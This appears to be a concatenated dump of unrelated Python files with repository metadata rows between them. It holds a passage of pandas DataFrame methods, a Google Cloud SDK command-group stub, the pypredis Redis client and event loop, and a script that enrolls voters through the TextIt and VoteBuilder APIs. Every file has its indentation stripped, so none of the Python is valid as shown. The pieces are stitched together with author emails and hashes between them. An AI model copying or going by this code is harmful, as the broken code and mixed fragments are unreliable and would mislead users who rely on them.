# (expression has type "_UFunc_Nin2_Nout1[Literal['logical_or'],
# Literal[20], Literal[False]]", variable has type
# "_UFunc_Nin2_Nout1[Literal['logical_and'], Literal[20],
# Literal[True]]")
ufunc = np.logical_or # type: ignore[assignment]
else:
raise NotImplementedError(name)
for arr in self._mgr.arrays:
middle = func(arr, axis=0, skipna=skipna)
result = ufunc(result, middle)
res_ser = self._constructor_sliced(result, index=self.index)
return res_ser
def nunique(self, axis: Axis = 0, dropna: bool = True) -> Series:
"""
Count number of distinct elements in specified axis.
Return Series with number of distinct elements. Can ignore NaN
values.
Parameters
----------
axis : {0 or 'index', 1 or 'columns'}, default 0
The axis to use. 0 or 'index' for row-wise, 1 or 'columns' for
column-wise.
dropna : bool, default True
Don't include NaN in the counts.
Returns
-------
Series
See Also
--------
Series.nunique: Method nunique for Series.
DataFrame.count: Count non-NA cells for each column or row.
Examples
--------
>>> df = pd.DataFrame({'A': [4, 5, 6], 'B': [4, 1, 1]})
>>> df.nunique()
A 3
B 2
dtype: int64
>>> df.nunique(axis=1)
0 1
1 2
2 2
dtype: int64
"""
return self.apply(Series.nunique, axis=axis, dropna=dropna)
def idxmin(self, axis: Axis = 0, skipna: bool = True) -> Series:
"""
Return index of first occurrence of minimum over requested axis.
NA/null values are excluded.
Parameters
----------
axis : {0 or 'index', 1 or 'columns'}, default 0
The axis to use. 0 or 'index' for row-wise, 1 or 'columns' for column-wise.
skipna : bool, default True
Exclude NA/null values. If an entire row/column is NA, the result
will be NA.
Returns
-------
Series
Indexes of minima along the specified axis.
Raises
------
ValueError
* If the row/column is empty
See Also
--------
Series.idxmin : Return index of the minimum element.
Notes
-----
This method is the DataFrame version of ``ndarray.argmin``.
Examples
--------
Consider a dataset containing food consumption in Argentina.
>>> df = pd.DataFrame({'consumption': [10.51, 103.11, 55.48],
... 'co2_emissions': [37.2, 19.66, 1712]},
... index=['Pork', 'Wheat Products', 'Beef'])
>>> df
consumption co2_emissions
Pork 10.51 37.20
Wheat Products 103.11 19.66
Beef 55.48 1712.00
By default, it returns the index for the minimum value in each column.
>>> df.idxmin()
consumption Pork
co2_emissions Wheat Products
dtype: object
To return the index for the minimum value in each row, use ``axis="columns"``.
>>> df.idxmin(axis="columns")
Pork consumption
Wheat Products co2_emissions
Beef consumption
dtype: object
"""
axis = self._get_axis_number(axis)
res = self._reduce(
nanops.nanargmin, "argmin", axis=axis, skipna=skipna, numeric_only=False
)
indices = res._values
# indices will always be np.ndarray since axis is not None and
# values is a 2d array for DataFrame
# error: Item "int" of "Union[int, Any]" has no attribute "__iter__"
assert isinstance(indices, np.ndarray) # for mypy
index = self._get_axis(axis)
result = [index[i] if i >= 0 else np.nan for i in indices]
return self._constructor_sliced(result, index=self._get_agg_axis(axis))
def idxmax(self, axis: Axis = 0, skipna: bool = True) -> Series:
"""
Return index of first occurrence of maximum over requested axis.
NA/null values are excluded.
Parameters
----------
axis : {0 or 'index', 1 or 'columns'}, default 0
The axis to use. 0 or 'index' for row-wise, 1 or 'columns' for column-wise.
skipna : bool, default True
Exclude NA/null values. If an entire row/column is NA, the result
will be NA.
Returns
-------
Series
Indexes of maxima along the specified axis.
Raises
------
ValueError
* If the row/column is empty
See Also
--------
Series.idxmax : Return index of the maximum element.
Notes
-----
This method is the DataFrame version of ``ndarray.argmax``.
Examples
--------
Consider a dataset containing food consumption in Argentina.
>>> df = pd.DataFrame({'consumption': [10.51, 103.11, 55.48],
... 'co2_emissions': [37.2, 19.66, 1712]},
... index=['Pork', 'Wheat Products', 'Beef'])
>>> df
consumption co2_emissions
Pork 10.51 37.20
Wheat Products 103.11 19.66
Beef 55.48 1712.00
By default, it returns the index for the maximum value in each column.
>>> df.idxmax()
consumption Wheat Products
co2_emissions Beef
dtype: object
To return the index for the maximum value in each row, use ``axis="columns"``.
>>> df.idxmax(axis="columns")
Pork co2_emissions
Wheat Products consumption
Beef co2_emissions
dtype: object
"""
axis = self._get_axis_number(axis)
res = self._reduce(
nanops.nanargmax, "argmax", axis=axis, skipna=skipna, numeric_only=False
)
indices = res._values
# indices will always be np.ndarray since axis is not None and
# values is a 2d array for DataFrame
# error: Item "int" of "Union[int, Any]" has no attribute "__iter__"
assert isinstance(indices, np.ndarray) # for mypy
index = self._get_axis(axis)
result = [index[i] if i >= 0 else np.nan for i in indices]
return self._constructor_sliced(result, index=self._get_agg_axis(axis))
def _get_agg_axis(self, axis_num: int) -> Index:
"""
Let's be explicit about this.
"""
if axis_num == 0:
return self.columns
elif axis_num == 1:
return self.index
else:
raise ValueError(f"Axis must be 0 or 1 (got {repr(axis_num)})")
def mode(
self, axis: Axis = 0, numeric_only: bool = False, dropna: bool = True
) -> DataFrame:
"""
Get the mode(s) of each element along the selected axis.
The mode of a set of values is the value that appears most often.
It can be multiple values.
Parameters
----------
axis : {0 or 'index', 1 or 'columns'}, default 0
The axis to iterate over while searching for the mode:
* 0 or 'index' : get mode of each column
* 1 or 'columns' : get mode of each row.
numeric_only : bool, default False
If True, only apply to numeric columns.
dropna : bool, default True
Don't consider counts of NaN/NaT.
Returns
-------
DataFrame
The modes of each column or row.
See Also
--------
Series.mode : Return the highest frequency value in a Series.
Series.value_counts : Return the counts of values in a Series.
Examples
--------
>>> df = pd.DataFrame([('bird', 2, 2),
... ('mammal', 4, np.nan),
... ('arthropod', 8, 0),
... ('bird', 2, np.nan)],
... index=('falcon', 'horse', 'spider', 'ostrich'),
... columns=('species', 'legs', 'wings'))
>>> df
species legs wings
falcon bird 2 2.0
horse mammal 4 NaN
spider arthropod 8 0.0
ostrich bird 2 NaN
By default, missing values are not considered, and the mode of wings
are both 0 and 2. Because the resulting DataFrame has two rows,
the second row of ``species`` and ``legs`` contains ``NaN``.
>>> df.mode()
species legs wings
0 bird 2.0 0.0
1 NaN NaN 2.0
Setting ``dropna=False`` ``NaN`` values are considered and they can be
the mode (like for wings).
>>> df.mode(dropna=False)
species legs wings
0 bird 2 NaN
Setting ``numeric_only=True``, only the mode of numeric columns is
computed, and columns of other types are ignored.
>>> df.mode(numeric_only=True)
legs wings
0 2.0 0.0
1 NaN 2.0
To compute the mode over columns and not rows, use the axis parameter:
>>> df.mode(axis='columns', numeric_only=True)
0 1
falcon 2.0 NaN
horse 4.0 NaN
spider 0.0 8.0
ostrich 2.0 NaN
"""
data = self if not numeric_only else self._get_numeric_data()
def f(s):
return s.mode(dropna=dropna)
data = data.apply(f, axis=axis)
# Ensure index is type stable (should always use int index)
if data.empty:
data.index = default_index(0)
return data
def quantile(
self,
q=0.5,
axis: Axis = 0,
numeric_only: bool = True,
interpolation: str = "linear",
):
"""
Return values at the given quantile over requested axis.
Parameters
----------
q : float or array-like, default 0.5 (50% quantile)
Value between 0 <= q <= 1, the quantile(s) to compute.
axis : {0, 1, 'index', 'columns'}, default 0
Equals 0 or 'index' for row-wise, 1 or 'columns' for column-wise.
numeric_only : bool, default True
If False, the quantile of datetime and timedelta data will be
computed as well.
interpolation : {'linear', 'lower', 'higher', 'midpoint', 'nearest'}
This optional parameter specifies the interpolation method to use,
when the desired quantile lies between two data points `i` and `j`:
* linear: `i + (j - i) * fraction`, where `fraction` is the
fractional part of the index surrounded by `i` and `j`.
* lower: `i`.
* higher: `j`.
* nearest: `i` or `j` whichever is nearest.
* midpoint: (`i` + `j`) / 2.
Returns
-------
Series or DataFrame
If ``q`` is an array, a DataFrame will be returned where the
index is ``q``, the columns are the columns of self, and the
values are the quantiles.
If ``q`` is a float, a Series will be returned where the
index is the columns of self and the values are the quantiles.
See Also
--------
core.window.Rolling.quantile: Rolling quantile.
numpy.percentile: Numpy function to compute the percentile.
Examples
--------
>>> df = pd.DataFrame(np.array([[1, 1], [2, 10], [3, 100], [4, 100]]),
... columns=['a', 'b'])
>>> df.quantile(.1)
a 1.3
b 3.7
Name: 0.1, dtype: float64
>>> df.quantile([.1, .5])
a b
0.1 1.3 3.7
0.5 2.5 55.0
Specifying `numeric_only=False` will also compute the quantile of
datetime and timedelta data.
>>> df = pd.DataFrame({'A': [1, 2],
... 'B': [pd.Timestamp('2010'),
... pd.Timestamp('2011')],
... 'C': [pd.Timedelta('1 days'),
... pd.Timedelta('2 days')]})
>>> df.quantile(0.5, numeric_only=False)
A 1.5
B 2010-07-02 12:00:00
C 1 days 12:00:00
Name: 0.5, dtype: object
"""
validate_percentile(q)
if not is_list_like(q):
# BlockManager.quantile expects listlike, so we wrap and unwrap here
res = self.quantile(
[q], axis=axis, numeric_only=numeric_only, interpolation=interpolation
)
return res.iloc[0]
q = Index(q, dtype=np.float64)
data = self._get_numeric_data() if numeric_only else self
axis = self._get_axis_number(axis)
if axis == 1:
data = data.T
if len(data.columns) == 0:
# GH#23925 _get_numeric_data may have dropped all columns
cols = Index([], name=self.columns.name)
if is_list_like(q):
return self._constructor([], index=q, columns=cols)
return self._constructor_sliced([], index=cols, name=q, dtype=np.float64)
res = data._mgr.quantile(qs=q, axis=1, interpolation=interpolation)
result = self._constructor(res)
return result
@doc(NDFrame.asfreq, **_shared_doc_kwargs)
def asfreq(
self,
freq: Frequency,
method=None,
how: str | None = None,
normalize: bool = False,
fill_value=None,
) -> DataFrame:
return super().asfreq(
freq=freq,
method=method,
how=how,
normalize=normalize,
fill_value=fill_value,
)
@doc(NDFrame.resample, **_shared_doc_kwargs)
def resample(
self,
rule,
axis=0,
closed: str | None = None,
label: str | None = None,
convention: str = "start",
kind: str | None = None,
loffset=None,
base: int | None = None,
on=None,
level=None,
origin: str | TimestampConvertibleTypes = "start_day",
offset: TimedeltaConvertibleTypes | None = None,
) -> Resampler:
return super().resample(
rule=rule,
axis=axis,
closed=closed,
label=label,
convention=convention,
kind=kind,
loffset=loffset,
base=base,
on=on,
level=level,
origin=origin,
offset=offset,
)
def to_timestamp(
self,
freq: Frequency | None = None,
how: str = "start",
axis: Axis = 0,
copy: bool = True,
) -> DataFrame:
"""
Cast to DatetimeIndex of timestamps, at *beginning* of period.
Parameters
----------
freq : str, default frequency of PeriodIndex
Desired frequency.
how : {'s', 'e', 'start', 'end'}
Convention for converting period to timestamp; start of period
vs. end.
axis : {0 or 'index', 1 or 'columns'}, default 0
The axis to convert (the index by default).
copy : bool, default True
If False then underlying input data is not copied.
Returns
-------
DataFrame with DatetimeIndex
"""
new_obj = self.copy(deep=copy)
axis_name = self._get_axis_name(axis)
old_ax = getattr(self, axis_name)
if not isinstance(old_ax, PeriodIndex):
raise TypeError(f"unsupported Type {type(old_ax).__name__}")
new_ax = old_ax.to_timestamp(freq=freq, how=how)
setattr(new_obj, axis_name, new_ax)
return new_obj
def to_period(
self, freq: Frequency | None = None, axis: Axis = 0, copy: bool = True
) -> DataFrame:
"""
Convert DataFrame from DatetimeIndex to PeriodIndex.
Convert DataFrame from DatetimeIndex to PeriodIndex with desired
frequency (inferred from index if not passed).
Parameters
----------
freq : str, default
Frequency of the PeriodIndex.
axis : {0 or 'index', 1 or 'columns'}, default 0
The axis to convert (the index by default).
copy : bool, default True
If False then underlying input data is not copied.
Returns
-------
DataFrame with PeriodIndex
Examples
--------
>>> idx = pd.to_datetime(
... [
... "2001-03-31 00:00:00",
... "2002-05-31 00:00:00",
... "2003-08-31 00:00:00",
... ]
... )
>>> idx
DatetimeIndex(['2001-03-31', '2002-05-31', '2003-08-31'],
dtype='datetime64[ns]', freq=None)
>>> idx.to_period("M")
PeriodIndex(['2001-03', '2002-05', '2003-08'], dtype='period[M]')
For the yearly frequency
>>> idx.to_period("Y")
PeriodIndex(['2001', '2002', '2003'], dtype='period[A-DEC]')
"""
new_obj = self.copy(deep=copy)
axis_name = self._get_axis_name(axis)
old_ax = getattr(self, axis_name)
if not isinstance(old_ax, DatetimeIndex):
raise TypeError(f"unsupported Type {type(old_ax).__name__}")
new_ax = old_ax.to_period(freq=freq)
setattr(new_obj, axis_name, new_ax)
return new_obj
def isin(self, values) -> DataFrame:
"""
Whether each element in the DataFrame is contained in values.
Parameters
----------
values : iterable, Series, DataFrame or dict
The result will only be true at a location if all the
labels match. If `values` is a Series, that's the index. If
`values` is a dict, the keys must be the column names,
which must match. If `values` is a DataFrame,
then both the index and column labels must match.
Returns
-------
DataFrame
DataFrame of booleans showing whether each element in the DataFrame
is contained in values.
See Also
--------
DataFrame.eq: Equality test for DataFrame.
Series.isin: Equivalent method on Series.
Series.str.contains: Test if pattern or regex is contained within a
string of a Series or Index.
Examples
--------
>>> df = pd.DataFrame({'num_legs': [2, 4], 'num_wings': [2, 0]},
... index=['falcon', 'dog'])
>>> df
num_legs num_wings
falcon 2 2
dog 4 0
When ``values`` is a list check whether every value in the DataFrame
is present in the list (which animals have 0 or 2 legs or wings)
>>> df.isin([0, 2])
num_legs num_wings
falcon True True
dog False True
To check if ``values`` is *not* in the DataFrame, use the ``~`` operator:
>>> ~df.isin([0, 2])
num_legs num_wings
falcon False False
dog True False
When ``values`` is a dict, we can pass values to check for each
column separately:
>>> df.isin({'num_wings': [0, 3]})
num_legs num_wings
falcon False False
dog False True
When ``values`` is a Series or DataFrame the index and column must
match. Note that 'falcon' does not match based on the number of legs
in other.
>>> other = pd.DataFrame({'num_legs': [8, 3], 'num_wings': [0, 2]},
... index=['spider', 'falcon'])
>>> df.isin(other)
num_legs num_wings
falcon False True
dog False False
"""
if isinstance(values, dict):
from pandas.core.reshape.concat import concat
values = collections.defaultdict(list, values)
return concat(
(
self.iloc[:, [i]].isin(values[col])
for i, col in enumerate(self.columns)
),
axis=1,
)
elif isinstance(values, Series):
if not values.index.is_unique:
raise ValueError("cannot compute isin with a duplicate axis.")
return self.eq(values.reindex_like(self), axis="index")
elif isinstance(values, DataFrame):
if not (values.columns.is_unique and values.index.is_unique):
raise ValueError("cannot compute isin with a duplicate axis.")
return self.eq(values.reindex_like(self))
else:
if not is_list_like(values):
raise TypeError(
"only list-like or dict-like objects are allowed "
"to be passed to DataFrame.isin(), "
f"you passed a '{type(values).__name__}'"
)
return self._constructor(
algorithms.isin(self.values.ravel(), values).reshape(self.shape),
self.index,
self.columns,
)
# ----------------------------------------------------------------------
# Add index and columns
_AXIS_ORDERS = ["index", "columns"]
_AXIS_TO_AXIS_NUMBER: dict[Axis, int] = {
**NDFrame._AXIS_TO_AXIS_NUMBER,
1: 1,
"columns": 1,
}
_AXIS_LEN = len(_AXIS_ORDERS)
_info_axis_number = 1
_info_axis_name = "columns"
index: Index = properties.AxisProperty(
axis=1, doc="The index (row labels) of the DataFrame."
)
columns: Index = properties.AxisProperty(
axis=0, doc="The column labels of the DataFrame."
)
@property
def _AXIS_NUMBERS(self) -> dict[str, int]:
""".. deprecated:: 1.1.0"""
super()._AXIS_NUMBERS
return {"index": 0, "columns": 1}
@property
def _AXIS_NAMES(self) -> dict[int, str]:
""".. deprecated:: 1.1.0"""
super()._AXIS_NAMES
return {0: "index", 1: "columns"}
# ----------------------------------------------------------------------
# Add plotting methods to DataFrame
plot = CachedAccessor("plot", pandas.plotting.PlotAccessor)
hist = pandas.plotting.hist_frame
boxplot = pandas.plotting.boxplot_frame
sparse = CachedAccessor("sparse", SparseFrameAccessor)
# ----------------------------------------------------------------------
# Internal Interface Methods
def _to_dict_of_blocks(self, copy: bool = True):
"""
Return a dict of dtype -> Constructor Types that
each is a homogeneous dtype.
Internal ONLY - only works for BlockManager
"""
mgr = self._mgr
# convert to BlockManager if needed -> this way support ArrayManager as well
mgr = mgr_to_mgr(mgr, "block")
mgr = cast(BlockManager, mgr)
return {
k: self._constructor(v).__finalize__(self)
for k, v, in mgr.to_dict(copy=copy).items()
}
@property
def values(self) -> np.ndarray:
"""
Return a Numpy representation of the DataFrame.
.. warning::
We recommend using :meth:`DataFrame.to_numpy` instead.
Only the values in the DataFrame will be returned, the axes labels
will be removed.
Returns
-------
numpy.ndarray
The values of the DataFrame.
See Also
--------
DataFrame.to_numpy : Recommended alternative to this method.
DataFrame.index : Retrieve the index labels.
DataFrame.columns : Retrieving the column names.
Notes
-----
The dtype will be a lower-common-denominator dtype (implicit
upcasting); that is to say if the dtypes (even of numeric types)
are mixed, the one that accommodates all will be chosen. Use this
with care if you are not dealing with the blocks.
e.g. If the dtypes are float16 and float32, dtype will be upcast to
float32. If dtypes are int32 and uint8, dtype will be upcast to
int32. By :func:`numpy.find_common_type` convention, mixing int64
and uint64 will result in a float64 dtype.
Examples
--------
A DataFrame where all columns are the same type (e.g., int64) results
in an array of the same type.
>>> df = pd.DataFrame({'age': [ 3, 29],
... 'height': [94, 170],
... 'weight': [31, 115]})
>>> df
age height weight
0 3 94 31
1 29 170 115
>>> df.dtypes
age int64
height int64
weight int64
dtype: object
>>> df.values
array([[ 3, 94, 31],
[ 29, 170, 115]])
A DataFrame with mixed type columns(e.g., str/object, int64, float32)
results in an ndarray of the broadest type that accommodates these
mixed types (e.g., object).
>>> df2 = pd.DataFrame([('parrot', 24.0, 'second'),
... ('lion', 80.5, 1),
... ('monkey', np.nan, None)],
... columns=('name', 'max_speed', 'rank'))
>>> df2.dtypes
name object
max_speed float64
rank object
dtype: object
>>> df2.values
array([['parrot', 24.0, 'second'],
['lion', 80.5, 1],
['monkey', nan, None]], dtype=object)
"""
self._consolidate_inplace()
return self._mgr.as_array()
@deprecate_nonkeyword_arguments(version=None, allowed_args=["self"])
def ffill(
self: DataFrame,
axis: None | Axis = None,
inplace: bool = False,
limit: None | int = None,
downcast=None,
) -> DataFrame | None:
return super().ffill(axis, inplace, limit, downcast)
@deprecate_nonkeyword_arguments(version=None, allowed_args=["self"])
def bfill(
self: DataFrame,
axis: None | Axis = None,
inplace: bool = False,
limit: None | int = None,
downcast=None,
) -> DataFrame | None:
return super().bfill(axis, inplace, limit, downcast)
@deprecate_nonkeyword_arguments(
version=None, allowed_args=["self", "lower", "upper"]
)
def clip(
self: DataFrame,
lower=None,
upper=None,
axis: Axis | None = None,
inplace: bool = False,
*args,
**kwargs,
) -> DataFrame | None:
return super().clip(lower, upper, axis, inplace, *args, **kwargs)
@deprecate_nonkeyword_arguments(version=None, allowed_args=["self", "method"])
def interpolate(
self: DataFrame,
method: str = "linear",
axis: Axis = 0,
limit: int | None = None,
inplace: bool = False,
limit_direction: str | None = None,
limit_area: str | None = None,
downcast: str | None = None,
**kwargs,
) -> DataFrame | None:
return super().interpolate(
method,
axis,
limit,
inplace,
limit_direction,
limit_area,
downcast,
**kwargs,
)
@deprecate_nonkeyword_arguments(
version=None, allowed_args=["self", "cond", "other"]
)
def where(
self,
cond,
other=lib.no_default,
inplace=False,
axis=None,
level=None,
errors="raise",
try_cast=lib.no_default,
):
return super().where(cond, other, inplace, axis, level, errors, try_cast)
@deprecate_nonkeyword_arguments(
version=None, allowed_args=["self", "cond", "other"]
)
def mask(
self,
cond,
other=np.nan,
inplace=False,
axis=None,
level=None,
errors="raise",
try_cast=lib.no_default,
):
return super().mask(cond, other, inplace, axis, level, errors, try_cast)
DataFrame._add_numeric_operations()
ops.add_flex_arithmetic_methods(DataFrame)
def _from_nested_dict(data) -> collections.defaultdict:
new_data: collections.defaultdict = collections.defaultdict(dict)
for index, s in data.items():
for col, v in s.items():
new_data[col][index] = v
return new_data
def _reindex_for_setitem(value: DataFrame | Series, index: Index) -> ArrayLike:
# reindex if necessary
if value.index.equals(index) or not len(index):
return value._values.copy()
# GH#4107
try:
reindexed_value = value.reindex(index)._values
except ValueError as err:
# raised in MultiIndex.from_tuples, see test_insert_error_msmgs
if not value.index.is_unique:
# duplicate axis
raise err
raise TypeError(
"incompatible index of inserted column with frame index"
) from err
return reindexed_value
|
[
"keenan2056@gmail.com"
] |
keenan2056@gmail.com
|
70af62274ef098cd7abb307ef9145b2790707f6d
|
a3cc7286d4a319cb76f3a44a593c4a18e5ddc104
|
/lib/surface/datastore/operations/__init__.py
|
fca6eaa477ebf4bb1ed38d41e7ca4a62083e2c06
|
[
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] |
permissive
|
jordanistan/Google-Cloud-SDK
|
f2c6bb7abc2f33b9dfaec5de792aa1be91154099
|
42b9d7914c36a30d1e4b84ae2925df7edeca9962
|
refs/heads/master
| 2023-09-01T01:24:53.495537
| 2023-08-22T01:12:23
| 2023-08-22T01:12:23
| 127,072,491
| 0
| 1
|
NOASSERTION
| 2023-08-22T01:12:24
| 2018-03-28T02:31:19
|
Python
|
UTF-8
|
Python
| false
| false
| 836
|
py
|
# Copyright 2017 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""The command group for Cloud Datastore operations."""
from googlecloudsdk.calliope import base
@base.ReleaseTracks(base.ReleaseTrack.BETA)
class Operations(base.Group):
"""Manage Long Running Operations for Cloud Datastore."""
pass
|
[
"jordan.robison@gmail.com"
] |
jordan.robison@gmail.com
|
f49ae40120735e43add8a6c8847928c264fea4f6
|
dce69cc94dc9219cdf280e8cf0b987b466a57c27
|
/pypredis/client.py
|
2454a58e5a67bd77f6b78cbf1792a32d701f32e4
|
[] |
no_license
|
ioshger0125/pypredis
|
eb8f8e569f4ad5c12f28beb518d67ce9eeb17f7f
|
54dd66debacbbb07407d33ffd8832b0795b2ac4d
|
refs/heads/master
| 2020-06-18T11:50:37.892590
| 2014-04-26T15:16:28
| 2014-04-26T15:16:28
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 5,094
|
py
|
from __future__ import absolute_import
from pypredis.future import Future
from pypredis.reader import RedisReader, NoReply
from pypredis.sendbuffer import SendBuffer
from select import poll, POLLIN, POLLPRI, POLLOUT, POLLERR, POLLHUP, POLLNVAL
from Queue import Queue, Empty
from collections import defaultdict, namedtuple, deque
from threading import Thread, RLock
from cStringIO import StringIO
import socket
import os
import errno
def pack_command(args):
out = StringIO()
try:
out.write("*%d\r\n" % len(args))
for arg in args:
val = str(arg)
out.write("$%d\r\n%s\r\n" % (len(val), val))
return out.getvalue()
finally:
out.close()
class BaseConnection(object):
def __init__(self, **params):
self.connect(**params)
bufsize = self.sock.getsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF)
self.buf = SendBuffer(bufsize)
self.resq = deque()
self.reader = RedisReader()
self.pid = os.getpid()
self.params = params
# this lock protects buf and resq,
# so that flags do not change
# in the middle of things.
self.write_lock = RLock()
@property
def fd(self):
return self.sock.fileno()
@property
def flags(self):
flags = 0
if self.buf:
flags |= POLLOUT
if self.resq:
flags |= POLLIN
flags |= POLLPRI
return flags
def _checkpid(self):
if self.pid != os.getpid():
self.disconnect()
self.__init__(**self.params)
def disconnect(self):
self.sock.close()
def write(self, res, cmd):
self._checkpid()
self.resq.append(res)
self.buf.write(cmd)
def pump_out(self):
try:
self.buf.to_sock(self.sock)
except Exception as e:
res = self.resq.popleft()
res.set_exception(e)
def pump_in(self):
try:
bufsize = self.sock.getsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF)
try:
data = self.sock.recv(bufsize)
self.reader.feed(data)
except socket.error as e:
if e.errno != errno.EWOULDBLOCK and e.errno != errno.EAGAIN:
raise
while True:
try:
reply = self.reader.get_reply()
except NoReply:
break
res = self.resq.popleft()
res.set_result(reply)
Future.notify()
except Exception as e:
res = self.resq.popleft()
res.set_exception(e)
class UnixConnection(BaseConnection):
def connect(self, path, **params):
self.sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
self.sock.connect(path)
self.sock.setblocking(0)
class TCPConnection(BaseConnection):
def connect(self, host='localhost', port=6379, **params):
self.sock = socket.create_connection((host, port))
self.sock.setblocking(0)
class EventLoop(Thread):
def __init__(self):
Thread.__init__(self)
self.daemon = True
self.queue = Queue()
self.timeout = 1
self.poll = poll()
self.readpipe, self.writepipe = os.pipe()
self.fd_index = {}
def stop(self):
os.write(self.writepipe, "stop")
self.join()
def send_command(self, conn, *args):
cmdstr = pack_command(args)
res = Future()
with conn.write_lock:
conn.write(res, cmdstr)
self._register(conn)
return res
def _register(self, conn):
if conn.fd not in self.fd_index:
self.fd_index[conn.fd] = conn
self.poll.register(conn.fd, conn.flags)
def _unregister(self, conn):
self.poll.unregister(conn.fd)
del self.fd_index[conn.fd]
def _handle_events(self, events):
for conn, e in events:
if e & POLLOUT:
conn.pump_out()
if e & (POLLIN | POLLPRI):
conn.pump_in()
if conn.write_lock.acquire(False):
if conn.flags:
self.poll.register(conn.fd, conn.flags)
else:
self._unregister(conn)
conn.write_lock.release()
else: # someone is writing
self.poll.register(conn.fd, POLLIN | POLLPRI | POLLOUT)
#print conn.flags, len(conn.resq), conn.buf.count, conn.buf.buf.qsize()
def run(self):
# this pipe serves to stop the thread
# but also to make sure the poll object is never empty.
# an empty poll seems to return immeditately.
self.poll.register(self.readpipe, POLLIN | POLLPRI)
while True:
events = self.poll.poll(self.timeout)
conns = []
for fd, e in events:
if fd == self.readpipe:
return
conns.append((self.fd_index[fd], e))
self._handle_events(conns)
|
[
"pepijndevos@gmail.com"
] |
pepijndevos@gmail.com
|
dac8426a7154210839373bc81caf32780e900d78
|
7d3f436c2766522a15a3627dcef50d118f029f2f
|
/mainProductionChannel.py
|
031e2df402dfa44b5f0215e05082da7bf9030d98
|
[] |
no_license
|
sewell-robert/voterChatbotProject
|
74f95c661d31158e7163190184eecfc79183d2f7
|
300cae143ecd4d295fb85a67971d7d656d198708
|
refs/heads/master
| 2020-04-01T19:02:28.083850
| 2018-12-07T21:54:28
| 2018-12-07T21:54:28
| 153,529,914
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 6,620
|
py
|
import requests
import json
##############################################################################################################################################################################
#Add voter to TextIt.in contacts if canvasser initiates enrollment
if input_data.get('voterPhone') != None:
#Get canvasser contact info to be stored in user's contact fields
url_canvasser = "https://api.textit.in/api/v2/contacts.json"
headers_canvasser = {
"Authorization": "Token ",
"Content-Type": "application/json"
}
params_canvasser = {
"urn": input_data.get('urn')
}
r = requests.get(url=url_canvasser, headers=headers_canvasser, params=params_canvasser)
canvasserContactInfo = r.json()
results = canvasserContactInfo.get('results')[0]
canvasserName = results.get('name')
if canvasserName == None:
canvasserName = "N/A"
fields = results.get('fields')
triggerWord = fields.get('trigger_word')
if triggerWord == "Proxy29":
groups = ["811beffc-d2ec-4a8c-83c9-fe3a6a458206"]
elif triggerWord == "Proxy30":
groups = ["136f79e7-6411-4687-b691-f30adf022cf4"]
else:
groups = []
#Set up voter name for TextIt Explorer API POST request payload
voterFullName = input_data.get('voterFirstName') + " " + input_data.get('voterLastName')
#POST request to TextIt Explorer API to add new user to contacts
explorer_url = "https://api.textit.in/api/v2/contacts.json"
explorer_headers = {
'Authorization': 'Token ',
'Content-Type': 'application/json'
}
explorer_payload = {
"name": voterFullName,
"language": "eng",
"urns": ["tel:" + input_data.get('voterPhone')],
"groups": groups,
"fields": {
"firstname": input_data.get('voterFirstName'),
"lastname": input_data.get('voterLastName'),
"checkedtwice": "false",
"canvasser_name": canvasserName,
"canvasser_phone": input_data.get('urn'),
"trigger_word": triggerWord,
"switch1": "On"
}
}
r2 = requests.post(url=explorer_url, headers=explorer_headers, data=json.dumps(explorer_payload))
print(r2.status_code)
##############################################################################################################################################################################
#Create headers and POST body
url = "https://api.securevan.com/v4/people/find"
get_url = "https://api.securevan.com/v4/people/"
get_expand_url = "?&$expand=phones,emails,addresses,districts"
headers = {
'Content-Type' : 'application/json',
'Authorization' : 'Basic '
}
auth = ('username', 'password')
returnAddress = None
district = None
#Split on contact full name - its the only value that persists between
#textit triggers, as far as I could tell
if input_data.get('voterPhone') != None:
name = input_data.get('voterFirstName') + " " + input_data.get('voterLastName')
splitNames = name.split()
else:
name = input_data.get('fullName')
splitNames = name.split()
#Split phone number into format expected by VoteBuilder
streetAddress = input_data.get('streetAddress')
if streetAddress is None:
if input_data.get('voterPhone') is None:
phone = input_data.get('urn')
phone = phone.split('+')
phone = phone[1]
#phone = phone[0] + '-' + phone[1] + phone[2] + phone[3] + '-' + phone[4] + phone[5] + phone[6] + '-' + phone[7] + phone[8] + phone[9] + phone[10]
else:
phone = input_data.get('voterPhone')
phone = phone.split('+')
phone = phone[1]
else:
if input_data.get('voterPhone') is None:
phone = input_data.get('urn')
else:
phone = input_data.get('voterPhone')
#Body of VoteBuilder request
payload = {
'firstName': splitNames[0],
'lastName': splitNames[1],
'dateOfBirth': input_data.get('dob'),
'addresses': [
{
'addressLine1': input_data.get('streetAddress'),
'zipOrPostalCode': input_data.get('zip5')
}
],
'phones': [
{
'phoneNumber': phone
}
]
}
#email not used anymore
#if input_data.get('email') != None:
#payload['emails'] = [ {'email': input_data.get('email'),} ]
#Make VoteBuilder API request
r = requests.post(url, headers=headers, auth=auth, data=json.dumps(payload))
#Extract response as JSON object
returnValue = r.json()
if returnValue.get('vanId') != None:
r = requests.get( get_url + str(returnValue.get('vanId')) + get_expand_url, headers=headers, auth=auth)
getReturnValue = r.json()
address = getReturnValue.get('addresses')
#Get district number
districts = getReturnValue.get('districts')
for field in districts:
if field.get('name') == "State House":
districtFieldValues = field.get('districtFieldValues')[0]
district = districtFieldValues.get('name')
#Checks that address with "isPreferred" set to true is returned
for entry in address:
if entry.get('isPreferred') == True:
addressLine1 = entry.get('addressLine1')
addressLine2 = entry.get('addressLine2')
city = entry.get('city')
state = entry.get('stateOrProvince')
zipOrPostalCode = entry.get('zipOrPostalCode')
returnAddress = addressLine1
if addressLine2 != None:
returnAddress = returnAddress + '\n' + addressLine2
returnAddress = returnAddress + '\n' + city + ', ' + state + ' ' + zipOrPostalCode
break
else:
mainAddress = address[0]
addressLine1 = mainAddress.get('addressLine1')
